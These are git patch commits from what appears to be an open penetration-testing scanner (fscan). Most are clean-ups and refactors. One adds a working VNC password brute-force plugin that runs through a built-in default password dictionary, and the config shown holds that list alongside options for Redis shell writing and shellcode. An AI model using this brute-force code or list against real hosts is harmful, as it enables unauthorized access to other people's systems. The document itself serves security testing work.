b/Plugins/Postgres.go index 33b1314..d2a8b89 100644 --- a/Plugins/Postgres.go +++ b/Plugins/Postgres.go @@ -14,7 +14,6 @@ func PostgresScan(info *Common.HostInfo) (tmperr error) { if Common.IsBrute { return } - fmt.Println("[+] Postgre扫描模块开始...") starttime := time.Now().Unix() @@ -44,7 +43,6 @@ func PostgresScan(info *Common.HostInfo) (tmperr error) { } } } - fmt.Println("[+] Postgre扫描模块结束...") return tmperr } From 95d806d4a93cecfaa88b4f53b09a564a03fe3bee Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=BD=B1=E8=88=9E=E8=80=85?= Date: Thu, 19 Dec 2024 22:34:49 +0800 Subject: [PATCH 072/188] Update RDP.go --- Plugins/RDP.go | 2 -- 1 file changed, 2 deletions(-) diff --git a/Plugins/RDP.go b/Plugins/RDP.go index 9763705..3bbfab3 100644 --- a/Plugins/RDP.go +++ b/Plugins/RDP.go @@ -33,7 +33,6 @@ func RdpScan(info *Common.HostInfo) (tmperr error) { if Common.IsBrute { return } - fmt.Println("[+] Rdp扫描模块开始...") var ( wg sync.WaitGroup @@ -70,7 +69,6 @@ func RdpScan(info *Common.HostInfo) (tmperr error) { for !signal { } - fmt.Println("[+] Rdp扫描模块结束...") return tmperr } From 346ece01f6f1dea25d00a4b001bf6fc4fd80642a Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=BD=B1=E8=88=9E=E8=80=85?= Date: Thu, 19 Dec 2024 22:35:53 +0800 Subject: [PATCH 073/188] Update SMB.go --- Plugins/SMB.go | 2 -- 1 file changed, 2 deletions(-) diff --git a/Plugins/SMB.go b/Plugins/SMB.go index 8f9f351..ffd5c6b 100644 --- a/Plugins/SMB.go +++ b/Plugins/SMB.go @@ -15,7 +15,6 @@ func SmbScan(info *Common.HostInfo) (tmperr error) { if Common.IsBrute { return nil } - fmt.Println("[+] Smb扫描模块开始...") startTime := time.Now().Unix() @@ -61,7 +60,6 @@ func SmbScan(info *Common.HostInfo) (tmperr error) { } } } - fmt.Println("[+] Smb扫描模块结束...") return tmperr } From 08ba177f52e2034e2c85650cbaa3e05cc0757c88 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=BD=B1=E8=88=9E=E8=80=85?= Date: Thu, 19 Dec 2024 22:36:49 +0800 Subject: [PATCH 074/188] Update SMB2.go --- Plugins/SMB2.go | 2 -- 1 file changed, 2 deletions(-) diff --git a/Plugins/SMB2.go b/Plugins/SMB2.go index 3bfcd29..1e157c3 100644 --- a/Plugins/SMB2.go +++ b/Plugins/SMB2.go @@ -18,7 +18,6 @@ func SmbScan2(info *Common.HostInfo) (tmperr error) { if Common.IsBrute { return nil } - fmt.Println("[+] Smb2扫描模块开始...") hasprint := false startTime := time.Now().Unix() @@ -57,7 +56,6 @@ func smbHashScan(info *Common.HostInfo, hasprint bool, startTime int64) error { } } } - fmt.Println("[+] Smb2扫描模块结束...") return nil } From 1cfedda2ce1f160f82654ce82833b54d6be472d8 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=BD=B1=E8=88=9E=E8=80=85?= Date: Thu, 19 Dec 2024 22:38:32 +0800 Subject: [PATCH 075/188] Update SmbGhost.go --- Plugins/SmbGhost.go | 2 -- 1 file changed, 2 deletions(-) diff --git a/Plugins/SmbGhost.go b/Plugins/SmbGhost.go index bffdc8e..1615dd0 100644 --- a/Plugins/SmbGhost.go +++ b/Plugins/SmbGhost.go @@ -101,10 +101,8 @@ func SmbGhost(info *Common.HostInfo) error { return nil } - fmt.Println("[+] SmbGhost扫描模块开始...") // 执行实际的SMB Ghost漏洞扫描 err := SmbGhostScan(info) - fmt.Println("[+] SmbGhost扫描模块结束...") return err } From c3c413ebc02a0c542456476681a35bd3a30677f1 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=BD=B1=E8=88=9E=E8=80=85?= Date: Thu, 19 Dec 2024 22:40:19 +0800 Subject: [PATCH 076/188] Update WMIExec.go --- Plugins/WMIExec.go | 2 -- 1 file changed, 2 deletions(-) diff --git a/Plugins/WMIExec.go b/Plugins/WMIExec.go index 625355c..ec38746 100644 --- a/Plugins/WMIExec.go +++ b/Plugins/WMIExec.go @@ -37,7 +37,6 @@ func WmiExec(info *Common.HostInfo) (tmperr error) { if Common.IsBrute { return nil } - fmt.Println("[+] WmiExec扫描模块开始...") starttime := time.Now().Unix() @@ -92,7 +91,6 @@ func WmiExec(info *Common.HostInfo) (tmperr error) { } } } - fmt.Println("[+] WmiExec扫描模块结束...") return tmperr } From 45a861d4f1edeaa538c594b85b4250b3a202b519 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=BD=B1=E8=88=9E=E8=80=85?= Date: Thu, 19 Dec 2024 22:41:07 +0800 Subject: [PATCH 077/188] Update WebTitle.go --- Plugins/WebTitle.go | 2 -- 1 file changed, 2 deletions(-) diff --git a/Plugins/WebTitle.go b/Plugins/WebTitle.go index 59eb76c..9f8bc0b 100644 --- a/Plugins/WebTitle.go +++ b/Plugins/WebTitle.go @@ -25,7 +25,6 @@ func WebTitle(info *Common.HostInfo) error { WebScan.WebScan(info) return nil } - fmt.Println("[+] WebTitle扫描模块开始...") // 获取网站标题信息 err, CheckData := GOWebTitle(info) @@ -46,7 +45,6 @@ func WebTitle(info *Common.HostInfo) error { Common.LogError(errlog) } - fmt.Println("[+] WebTitle扫描模块结束...") return err } From 01ae22119d34d1bb1ce0d16b0c1ab8b3b12f8be5 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=BD=B1=E8=88=9E=E8=80=85?= Date: Thu, 19 Dec 2024 22:42:38 +0800 Subject: [PATCH 078/188] Update Rules.go --- WebScan/info/Rules.go | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) diff --git a/WebScan/info/Rules.go b/WebScan/info/Rules.go index d4d1dd5..e7184db 100644 --- a/WebScan/info/Rules.go +++ b/WebScan/info/Rules.go @@ -72,7 +72,7 @@ var RuleDatas = []RuleData{ {"atmail-WebMail", "cookie", "(atmail6)"}, {"atmail-WebMail", "code", "(/index.php/mail/auth/processlogin|Powered by Atmail)"}, {"weblogic", "code", "(/console/framework/skins/wlsconsole/images/login_WebLogic_branding.png|Welcome to Weblogic Application Server|Hypertext Transfer Protocol -- HTTP/1.1)"}, - {"致远OA", "code", "(/seeyon/Common/|/seeyon/USER-DATA/IMAGES/LOGIN/login.gif)"}, + {"致远OA", "code", "(/seeyon/common/|/seeyon/USER-DATA/IMAGES/LOGIN/login.gif)"}, {"discuz", "code", "(content=\"Discuz! X\")"}, {"Typecho", "code", "(Typecho)"}, {"金蝶EAS", "code", "(easSessionId)"}, @@ -88,10 +88,10 @@ var RuleDatas = []RuleData{ {"CISCO_EPC3925", "code", "(Docsis_system)"}, {"CISCO ASR", "code", "(CISCO ASR)"}, {"H3C ER3200", "code", "(ER3200系统管理)"}, - {"万户oa", "code", "(/defaultroot/templates/template_system/Common/css/|/defaultroot/scripts/|css/css_whir.css)"}, + {"万户oa", "code", "(/defaultroot/templates/template_system/common/css/|/defaultroot/scripts/|css/css_whir.css)"}, {"Spark_Master", "code", "(Spark Master at)"}, {"华为_HUAWEI_SRG2220", "code", "(HUAWEI SRG2220)"}, - {"蓝凌OA", "code", "(/scripts/jquery.landray.Common.js)"}, + {"蓝凌OA", "code", "(/scripts/jquery.landray.common.js)"}, {"深信服ssl-vpn", "code", "(login_psw.csp)"}, {"华为 NetOpen", "code", "(/netopen/theme/css/inFrame.css)"}, {"Citrix-Web-PN-Server", "code", "(Citrix Web PN Server)"}, @@ -229,14 +229,14 @@ var RuleDatas = []RuleData{ {"帕拉迪统一安全管理和综合审计系统", "code", "(module/image/pldsec.css)"}, {"蓝盾BDWebGuard", "code", "(BACKGROUND: url(images/loginbg.jpg) #e5f1fc)"}, {"Huawei SMC", "code", "(Script/SmcScript.js?version=)"}, - {"coremail", "code", "(/coremail/bundle/|contextRoot: \"/coremail\"|coremail/Common)"}, + {"coremail", "code", "(/coremail/bundle/|contextRoot: \"/coremail\"|coremail/common)"}, {"activemq", "code", "(activemq_logo|Manage ActiveMQ broker)"}, {"锐捷网络", "code", "(static/img/title.ico|support.ruijie.com.cn|Ruijie - NBR|eg.login.loginBtn)"}, {"禅道", "code", "(/theme/default/images/main/zt-logo.png|zentaosid)"}, {"weblogic", "code", "(/console/framework/skins/wlsconsole/images/login_WebLogic_branding.png|Welcome to Weblogic Application Server|Hypertext Transfer Protocol -- HTTP/1.1|Error 404--Not Found|Welcome to Weblogic Application Server|Oracle WebLogic Server 管理控制台)"}, {"weblogic", "headers", "(WebLogic)"}, - {"致远OA", "code", "(/seeyon/USER-DATA/IMAGES/LOGIN/login.gif|/seeyon/Common/)"}, - {"蓝凌EIS智慧协同平台", "code", "(/scripts/jquery.landray.Common.js)"}, + {"致远OA", "code", "(/seeyon/USER-DATA/IMAGES/LOGIN/login.gif|/seeyon/common/)"}, + {"蓝凌EIS智慧协同平台", "code", "(/scripts/jquery.landray.common.js)"}, {"深信服ssl-vpn", "code", "(login_psw.csp|loginPageSP/loginPrivacy.js|/por/login_psw.csp)"}, {"Struts2", "code", "(org.apache.struts2|Struts Problem Report|struts.devMode|struts-tags|There is no Action mapped for namespace)"}, {"泛微OA", "code", "(/spa/portal/public/index.js|wui/theme/ecology8/page/images/login/username_wev8.png|/wui/index.html#/?logintype=1)"}, @@ -246,7 +246,7 @@ var RuleDatas = []RuleData{ {"用友NC", "code", "(Yonyou UAP|YONYOU NC|/Client/Uclient/UClient.dmg|logo/images/ufida_nc.png|iufo/web/css/menu.css|/System/Login/Login.asp?AppID=|/nc/servlet/nc.ui.iufo.login.Index)"}, {"用友IUFO", "code", "(iufo/web/css/menu.css)"}, {"TELEPORT堡垒机", "code", "(/static/plugins/blur/background-blur.js)"}, - {"JEECMS", "code", "(/r/cms/www/red/js/Common.js|/r/cms/www/red/js/indexshow.js|Powered by JEECMS|JEECMS|/jeeadmin/jeecms/index.do)"}, + {"JEECMS", "code", "(/r/cms/www/red/js/common.js|/r/cms/www/red/js/indexshow.js|Powered by JEECMS|JEECMS|/jeeadmin/jeecms/index.do)"}, {"CMS", "code", "(Powered by .*CMS)"}, {"目录遍历", "code", "(Directory listing for /)"}, {"ATLASSIAN-Confluence", "code", "(com.atlassian.confluence)"}, From 1bafa4d6f5f343426bba533f349c005e1f575553 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=BD=B1=E8=88=9E=E8=80=85?= Date: Thu, 19 Dec 2024 22:59:28 +0800 Subject: [PATCH 079/188] Update Eval.go --- WebScan/lib/Eval.go | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/WebScan/lib/Eval.go b/WebScan/lib/Eval.go index a1cb77b..94a54ff 100644 --- a/WebScan/lib/Eval.go +++ b/WebScan/lib/Eval.go @@ -769,7 +769,7 @@ func ParseResponse(oResp *http.Response) (*Response, error) { func getRespBody(oResp *http.Response) ([]byte, error) { // 读取原始响应体 body, err := io.ReadAll(oResp.Body) - if err != nil && err != io.EOF { + if err != nil && err != io.EOF && len(body) == 0 { return nil, err } From 59cc4624673107117f49c9215500106966b0d255 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=BD=B1=E8=88=9E=E8=80=85?= Date: Thu, 19 Dec 2024 23:01:17 +0800 Subject: [PATCH 080/188] Update Eval.go --- WebScan/lib/Eval.go | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/WebScan/lib/Eval.go b/WebScan/lib/Eval.go index 94a54ff..eaf0312 100644 --- a/WebScan/lib/Eval.go +++ b/WebScan/lib/Eval.go @@ -782,9 +782,12 @@ func getRespBody(oResp *http.Response) ([]byte, error) { defer reader.Close() decompressed, err := io.ReadAll(reader) - if err != nil && err != io.EOF { + if err != nil && err != io.EOF && len(decompressed) == 0{ return nil, err } + if len(decompressed) == 0 && len(body) != 0{ + return body, nil + } return decompressed, nil } From 2481ca4184e5aaccfb65482d75e45a56fe9e7408 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=BD=B1=E8=88=9E=E8=80=85?= Date: Thu, 19 Dec 2024 23:09:26 +0800 Subject: [PATCH 081/188] Update release.yml --- .github/workflows/release.yml | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml index 9d7d36a..2ff83ef 100644 --- a/.github/workflows/release.yml +++ b/.github/workflows/release.yml @@ -37,7 +37,7 @@ jobs: with: distribution: goreleaser version: latest - args: "release --clean --debug -f .github/conf/.goreleaser.yml" + args: "release --clean -f .github/conf/.goreleaser.yml" workdir: . env: - GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} \ No newline at end of file + GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} From ef2c20bf4e247421ff0ec5db87a8bcbe2be93c86 Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Fri, 20 Dec 2024 03:00:21 +0800 Subject: [PATCH 082/188] =?UTF-8?q?feat:=20=E6=B7=BB=E5=8A=A0VNC=E6=89=AB?= =?UTF-8?q?=E6=8F=8F=E5=8A=9F=E8=83=BD?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- Core/Registry.go | 9 ++++-- Plugins/VNC.go | 81 ++++++++++++++++++++++++++++++++++++++++++++++++ go.mod | 1 + go.sum | 2 ++ 4 files changed, 90 insertions(+), 3 deletions(-) create mode 100644 Plugins/VNC.go diff --git a/Core/Registry.go b/Core/Registry.go index daafa2a..b8bd4ff 100644 --- a/Core/Registry.go +++ b/Core/Registry.go @@ -15,7 +15,6 @@ func init() { Common.RegisterPlugin("ssh", Common.ScanPlugin{ Name: "SSH", - Port: 22, ScanFunc: Plugins.SshScan, }) @@ -67,6 +66,12 @@ func init() { ScanFunc: Plugins.PostgresScan, }) + Common.RegisterPlugin("vnc", Common.ScanPlugin{ + Name: "VNC", + Port: 5900, + ScanFunc: Plugins.VncScan, + }) + Common.RegisterPlugin("redis", Common.ScanPlugin{ Name: "Redis", Port: 6379, @@ -106,7 +111,6 @@ func init() { Common.RegisterPlugin("web", Common.ScanPlugin{ Name: "WebTitle", - Port: 0, ScanFunc: Plugins.WebTitle, }) @@ -124,7 +128,6 @@ func init() { Common.RegisterPlugin("localinfo", Common.ScanPlugin{ Name: "LocalInfo", - Port: 0, ScanFunc: Plugins.LocalInfoScan, }) } diff --git a/Plugins/VNC.go b/Plugins/VNC.go new file mode 100644 index 0000000..d1d7c20 --- /dev/null +++ b/Plugins/VNC.go @@ -0,0 +1,81 @@ +package Plugins + +import ( + "fmt" + "github.com/mitchellh/go-vnc" + "github.com/shadow1ng/fscan/Common" + "net" + "time" +) + +// VncScan 执行VNC服务扫描及密码尝试 +func VncScan(info *Common.HostInfo) (tmperr error) { + // 如果已开启暴力破解则直接返回 + if Common.IsBrute { + return + } + + modename := "vnc" + starttime := time.Now().Unix() + + // 遍历密码字典尝试连接 + for _, pass := range Common.Passwords { + flag, err := VncConn(info, pass) + + if flag && err == nil { + // 连接成功,记录结果 + result := fmt.Sprintf("[+] %s://%v:%v 密码: %v", modename, info.Host, info.Ports, pass) + Common.LogSuccess(result) + return err + } + + // 连接失败,记录错误信息 + errlog := fmt.Sprintf("[-] %s://%v:%v 尝试密码: %v 错误: %v", + modename, info.Host, info.Ports, pass, err) + Common.LogError(errlog) + tmperr = err + + // 检查是否需要中断扫描 + if Common.CheckErrs(err) { + return err + } + + // 检查是否超时 + if time.Now().Unix()-starttime > (int64(len(Common.Passwords)) * Common.Timeout) { + return fmt.Errorf("扫描超时") + } + } + return tmperr +} + +// VncConn 尝试建立VNC连接 +func VncConn(info *Common.HostInfo, pass string) (flag bool, err error) { + flag = false + Host, Port := info.Host, info.Ports + + // 建立TCP连接 + conn, err := net.DialTimeout("tcp", fmt.Sprintf("%s:%s", Host, Port), + time.Duration(Common.Timeout)*time.Second) + if err != nil { + return + } + defer conn.Close() + + // 配置VNC客户端 + config := &vnc.ClientConfig{ + Auth: []vnc.ClientAuth{ + &vnc.PasswordAuth{ + Password: pass, + }, + }, + } + + // 尝试VNC认证 + client, err := vnc.Client(conn, config) + if err == nil { + defer client.Close() + flag = true + } + + return +} diff --git a/go.mod b/go.mod index 9322059..299f7da 100644 --- a/go.mod +++ b/go.mod @@ -38,6 +38,7 @@ require ( github.com/lunixbochs/struc v0.0.0-20200707160740-784aaebc1d40 // indirect github.com/mattn/go-colorable v0.0.9 // indirect github.com/mattn/go-isatty v0.0.3 // indirect + github.com/mitchellh/go-vnc v0.0.0-20150629162542-723ed9867aed // indirect github.com/stoewer/go-strcase v1.2.0 // indirect go.uber.org/atomic v1.5.0 // indirect go.uber.org/multierr v1.3.0 // indirect diff --git a/go.sum b/go.sum index fb9a058..4d252f1 100644 --- a/go.sum +++ b/go.sum @@ -168,6 +168,8 @@ github.com/mitchellh/cli v1.0.0/go.mod h1:hNIlj7HEI86fIcpObd7a0FcrxTWetlwJDGcceT github.com/mitchellh/go-homedir v1.0.0/go.mod h1:SfyaCUpYCn1Vlf4IUYiD9fPX4A5wJrkLzIz1N1q0pr0= github.com/mitchellh/go-homedir v1.1.0/go.mod h1:SfyaCUpYCn1Vlf4IUYiD9fPX4A5wJrkLzIz1N1q0pr0= github.com/mitchellh/go-testing-interface v1.0.0/go.mod h1:kRemZodwjscx+RGhAo8eIhFbs2+BFgRtFPeD/KE+zxI= +github.com/mitchellh/go-vnc v0.0.0-20150629162542-723ed9867aed h1:FI2NIv6fpef6BQl2u3IZX/Cj20tfypRF4yd+uaHOMtI= +github.com/mitchellh/go-vnc v0.0.0-20150629162542-723ed9867aed/go.mod h1:3rdaFaCv4AyBgu5ALFM0+tSuHrBh6v692nyQe3ikrq0= github.com/mitchellh/gox v0.4.0/go.mod h1:Sd9lOJ0+aimLBi73mGofS1ycjY8lL3uZM3JPS42BGNg= github.com/mitchellh/iochan v1.0.0/go.mod h1:JwYml1nuB7xOzsp52dPpHFffvOCDupsG0QubkSMEySY= github.com/mitchellh/mapstructure v0.0.0-20160808181253-ca63d7c062ee/go.mod h1:FVVH3fgwuzCH5S8UJGiWEs2h04kUh9fWfEaFds41c1Y= From c0b7f4ca4fe21ae6ce892eb2ea54ee7c06bdff28 Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Fri, 20 Dec 2024 03:01:26 +0800 Subject: [PATCH 083/188] =?UTF-8?q?feat:=20=E6=B7=BB=E5=8A=A0VNC=E6=B5=8B?= =?UTF-8?q?=E8=AF=95=E9=9D=B6=E5=9C=BA?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- TestDocker/VNC/Dockerfile | 45 +++++++++++++++++++++++++++++++++ TestDocker/VNC/supervisord.conf | 8 ++++++ 2 files changed, 53 insertions(+) create mode 100644 TestDocker/VNC/Dockerfile create mode 100644 TestDocker/VNC/supervisord.conf diff --git a/TestDocker/VNC/Dockerfile b/TestDocker/VNC/Dockerfile new file mode 100644 index 0000000..2cebf04 --- /dev/null +++ b/TestDocker/VNC/Dockerfile @@ -0,0 +1,45 @@ +FROM ubuntu:20.04 + +ENV DEBIAN_FRONTEND=noninteractive +ENV TZ=Asia/Shanghai + +# 安装必要的包 +RUN apt-get update && apt-get install -y \ + tightvncserver \ + xfce4 \ + xfce4-terminal \ + supervisor + +# 创建新用户 +RUN useradd -m vncuser +ENV USER=vncuser +ENV HOME=/home/vncuser + +# 设置supervisor配置 +RUN mkdir -p /var/log/supervisor +COPY supervisord.conf /etc/supervisor/conf.d/supervisord.conf + +# 切换到vncuser用户 +USER vncuser +WORKDIR /home/vncuser + +# 创建必要的文件和目录 +RUN touch ~/.Xauthority +RUN mkdir -p ~/.vnc + +# 创建启动脚本 +RUN echo '#!/bin/bash\nxrdb $HOME/.Xresources\nstartxfce4 &' > ~/.vnc/xstartup +RUN chmod +x ~/.vnc/xstartup + +# 设置VNC密码 +RUN echo "123456" | vncpasswd -f > ~/.vnc/passwd +RUN chmod 600 ~/.vnc/passwd + +# 切回root用户来运行supervisor +USER root + +# 暴露VNC端口 +EXPOSE 5901 + +# 使用supervisor启动服务 +CMD ["/usr/bin/supervisord"] \ No newline at end of file diff --git a/TestDocker/VNC/supervisord.conf b/TestDocker/VNC/supervisord.conf new file mode 100644 index 0000000..2d04195 --- /dev/null +++ b/TestDocker/VNC/supervisord.conf @@ -0,0 +1,8 @@ +[supervisord] +nodaemon=true + +[program:vnc] +command=/usr/bin/vncserver :1 -geometry 1280x800 -depth 24 +user=vncuser +autostart=true +autorestart=true \ No newline at end of file From bdeabec67ee595bd08c17f18ea2013f369ddfcdf Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Fri, 20 Dec 2024 03:46:09 +0800 Subject: [PATCH 084/188] =?UTF-8?q?refactor:=20=E5=A4=A7=E5=9E=8B=E9=87=8D?= =?UTF-8?q?=E6=9E=84?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- Common/Config.go | 128 +++++++++++++++++++--------------------- Common/Flag.go | 56 +++++++++--------- Common/Parse.go | 130 +++++++++++++++++++++-------------------- Common/ParsePort.go | 12 +--- Common/Ports.go | 7 +++ Core/PortScan.go | 4 +- Core/Scanner.go | 22 +++---- Plugins/FTP.go | 2 +- Plugins/FcgiScan.go | 6 +- Plugins/MS17010-Exp.go | 10 ++-- Plugins/MS17010.go | 4 +- Plugins/MSSQL.go | 2 +- Plugins/Mongodb.go | 2 +- Plugins/MySQL.go | 2 +- Plugins/Oracle.go | 2 +- Plugins/Postgres.go | 2 +- Plugins/RDP.go | 4 +- Plugins/Redis.go | 4 +- Plugins/SMB.go | 2 +- Plugins/SMB2.go | 14 ++--- Plugins/SSH.go | 12 ++-- Plugins/SmbGhost.go | 2 +- Plugins/VNC.go | 2 +- Plugins/WMIExec.go | 12 ++-- Plugins/WebTitle.go | 4 +- WebScan/lib/Client.go | 2 +- WebScan/lib/Eval.go | 10 ++-- 27 files changed, 227 insertions(+), 232 deletions(-) create mode 100644 Common/Ports.go diff --git a/Common/Config.go b/Common/Config.go index 580d1a2..68b93c7 100644 --- a/Common/Config.go +++ b/Common/Config.go @@ -15,33 +15,8 @@ var Userdict = map[string][]string{ var Passwords = []string{"123456", "admin", "admin123", "root", "", "pass123", "pass@123", "password", "123123", "654321", "111111", "123", "1", "admin@123", "Admin@123", "admin123!@#", "{user}", "{user}1", "{user}111", "{user}123", "{user}@123", "{user}_123", "{user}#123", "{user}@111", "{user}@2019", "{user}@123#4", "P@ssw0rd!", "P@ssw0rd", "Passw0rd", "qwe123", "12345678", "test", "test123", "123qwe", "123qwe!@#", "123456789", "123321", "666666", "a123456.", "123456~a", "123456!a", "000000", "1234567890", "8888888", "!QAZ2wsx", "1qaz2wsx", "abc123", "abc123456", "1qaz@WSX", "a11111", "a12345", "Aa1234", "Aa1234.", "Aa12345", "a123456", "a123123", "Aa123123", "Aa123456", "Aa12345.", "sysadmin", "system", "1qaz!QAZ", "2wsx@WSX", "qwe123!@#", "Aa123456!", "A123456s!", "sa123456", "1q2w3e", "Charge123", "Aa123456789"} -var PortGroup = map[string]string{ - "ftp": "21", - "ssh": "22", - "findnet": "135", - "netbios": "139", - "smb": "445", - "mssql": "1433", - "oracle": "1521", - "mysql": "3306", - "rdp": "3389", - "psql": "5432", - "redis": "6379", - "fcgi": "9000", - "mem": "11211", - "mgo": "27017", - "ms17010": "445", - "cve20200796": "445", - "service": "21,22,135,139,445,1433,1521,3306,3389,5432,6379,9000,11211,27017", - "db": "1433,1521,3306,5432,6379,11211,27017", - "web": "80,81,82,83,84,85,86,87,88,89,90,91,92,98,99,443,800,801,808,880,888,889,1000,1010,1080,1081,1082,1099,1118,1888,2008,2020,2100,2375,2379,3000,3008,3128,3505,5555,6080,6648,6868,7000,7001,7002,7003,7004,7005,7007,7008,7070,7071,7074,7078,7080,7088,7200,7680,7687,7688,7777,7890,8000,8001,8002,8003,8004,8006,8008,8009,8010,8011,8012,8016,8018,8020,8028,8030,8038,8042,8044,8046,8048,8053,8060,8069,8070,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8091,8092,8093,8094,8095,8096,8097,8098,8099,8100,8101,8108,8118,8161,8172,8180,8181,8200,8222,8244,8258,8280,8288,8300,8360,8443,8448,8484,8800,8834,8838,8848,8858,8868,8879,8880,8881,8888,8899,8983,8989,9000,9001,9002,9008,9010,9043,9060,9080,9081,9082,9083,9084,9085,9086,9087,9088,9089,9090,9091,9092,9093,9094,9095,9096,9097,9098,9099,9100,9200,9443,9448,9800,9981,9986,9988,9998,9999,10000,10001,10002,10004,10008,10010,10250,12018,12443,14000,16080,18000,18001,18002,18004,18008,18080,18082,18088,18090,18098,19001,20000,20720,21000,21501,21502,28018,20880", - "all": "1-65535", - "main": "21,22,80,81,135,139,443,445,1433,1521,3306,5432,6379,7001,8000,8080,8089,9000,9200,11211,27017", -} var Outputfile = "result.txt" var IsSave = true -var Webport = "80,81,82,83,84,85,86,87,88,89,90,91,92,98,99,443,800,801,808,880,888,889,1000,1010,1080,1081,1082,1099,1118,1888,2008,2020,2100,2375,2379,3000,3008,3128,3505,5555,6080,6648,6868,7000,7001,7002,7003,7004,7005,7007,7008,7070,7071,7074,7078,7080,7088,7200,7680,7687,7688,7777,7890,8000,8001,8002,8003,8004,8006,8008,8009,8010,8011,8012,8016,8018,8020,8028,8030,8038,8042,8044,8046,8048,8053,8060,8069,8070,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8091,8092,8093,8094,8095,8096,8097,8098,8099,8100,8101,8108,8118,8161,8172,8180,8181,8200,8222,8244,8258,8280,8288,8300,8360,8443,8448,8484,8800,8834,8838,8848,8858,8868,8879,8880,8881,8888,8899,8983,8989,9000,9001,9002,9008,9010,9043,9060,9080,9081,9082,9083,9084,9085,9086,9087,9088,9089,9090,9091,9092,9093,9094,9095,9096,9097,9098,9099,9100,9200,9443,9448,9800,9981,9986,9988,9998,9999,10000,10001,10002,10004,10008,10010,10250,12018,12443,14000,16080,18000,18001,18002,18004,18008,18080,18082,18088,18090,18098,19001,20000,20720,21000,21501,21502,28018,20880" -var DefaultPorts = "21,22,80,81,135,139,443,445,1433,1521,3306,5432,6379,7001,8000,8080,8089,9000,9200,11211,27017" type PocInfo struct { Target string @@ -49,50 +24,69 @@ type PocInfo struct { } var ( - Ports string - Path string - Scantype string - Command string - SshKey string - Domain string - Username string - Password string - Proxy string - Timeout int64 = 3 - WebTimeout int64 = 5 - TmpSave bool - NoPing bool - Ping bool - Pocinfo PocInfo - NoPoc bool - IsBrute bool - RedisFile string - RedisShell string - Userfile string - Passfile string - Hashfile string - HostFile string - PortFile string - PocPath string - Threads int - URL string - UrlFile string - Urls []string - NoPorts string - NoHosts string - SC string - PortAdd string - UserAdd string - PassAdd string - BruteThread int + // 目标配置 + Ports string + ExcludePorts string // 原NoPorts + ExcludeHosts string + AddPorts string // 原PortAdd + + // 认证配置 + Username string + Password string + Domain string + SshKeyPath string // 原SshKey + AddUsers string // 原UserAdd + AddPasswords string // 原PassAdd + + // 扫描配置 + ScanMode string // 原Scantype + ThreadNum int // 原Threads + Timeout int64 = 3 LiveTop int + DisablePing bool // 原NoPing + UsePing bool // 原Ping + Command string + + // 文件配置 + HostsFile string // 原HostFile + UsersFile string // 原Userfile + PasswordsFile string // 原Passfile + HashFile string // 原Hashfile + PortsFile string // 原PortFile + + // Web配置 + TargetURL string // 原URL + URLsFile string // 原UrlFile + URLs []string // 原Urls + WebTimeout int64 = 5 + HttpProxy string // 原Proxy Socks5Proxy string - Hash string - Hashs []string - HashBytes [][]byte - HostPort []string - IsWmi bool - Noredistest bool + + // POC配置 + PocPath string + Pocinfo PocInfo + DisablePoc bool // 原NoPoc + + // Redis配置 + RedisFile string + RedisShell string + DisableRedis bool // 原Noredistest + + // 爆破配置 + DisableBrute bool // 原IsBrute + BruteThreads int // 原BruteThread + + // 其他配置 + RemotePath string // 原Path + HashValue string // 原Hash + HashValues []string // 原Hashs + HashBytes [][]byte + HostPort []string + Shellcode string // 原SC + EnableWmi bool // 原IsWmi + + // 输出配置 + DisableSave bool // 原TmpSave ) var ( diff --git a/Common/Flag.go b/Common/Flag.go index 505dd79..5b5b417 100644 --- a/Common/Flag.go +++ b/Common/Flag.go @@ -21,47 +21,47 @@ func Flag(Info *HostInfo) { // 目标配置 flag.StringVar(&Info.Host, "h", "", "目标主机IP,例如: 192.168.11.11 | 192.168.11.11-255 | 192.168.11.11,192.168.11.12") - flag.StringVar(&NoHosts, "hn", "", "排除的主机范围,例如: -hn 192.168.1.1/24") - flag.StringVar(&Ports, "p", DefaultPorts, "端口配置,例如: 22 | 1-65535 | 22,80,3306") - flag.StringVar(&PortAdd, "pa", "", "在默认端口基础上添加端口,-pa 3389") - flag.StringVar(&NoPorts, "pn", "", "排除的端口,例如: -pn 445") + flag.StringVar(&ExcludeHosts, "eh", "", "排除的主机范围,例如: -eh 192.168.1.1/24") + flag.StringVar(&Ports, "p", MainPorts, "端口配置,例如: 22 | 1-65535 | 22,80,3306") + flag.StringVar(&AddPorts, "pa", "", "在默认端口基础上添加端口,-pa 3389") + flag.StringVar(&ExcludePorts, "pn", "", "排除的端口,例如: -pn 445") // 认证配置 - flag.StringVar(&UserAdd, "usera", "", "在默认用户列表基础上添加用户,-usera user") - flag.StringVar(&PassAdd, "pwda", "", "在默认密码列表基础上添加密码,-pwda password") + flag.StringVar(&AddUsers, "usera", "", "在默认用户列表基础上添加用户,-usera user") + flag.StringVar(&AddPasswords, "pwda", "", "在默认密码列表基础上添加密码,-pwda 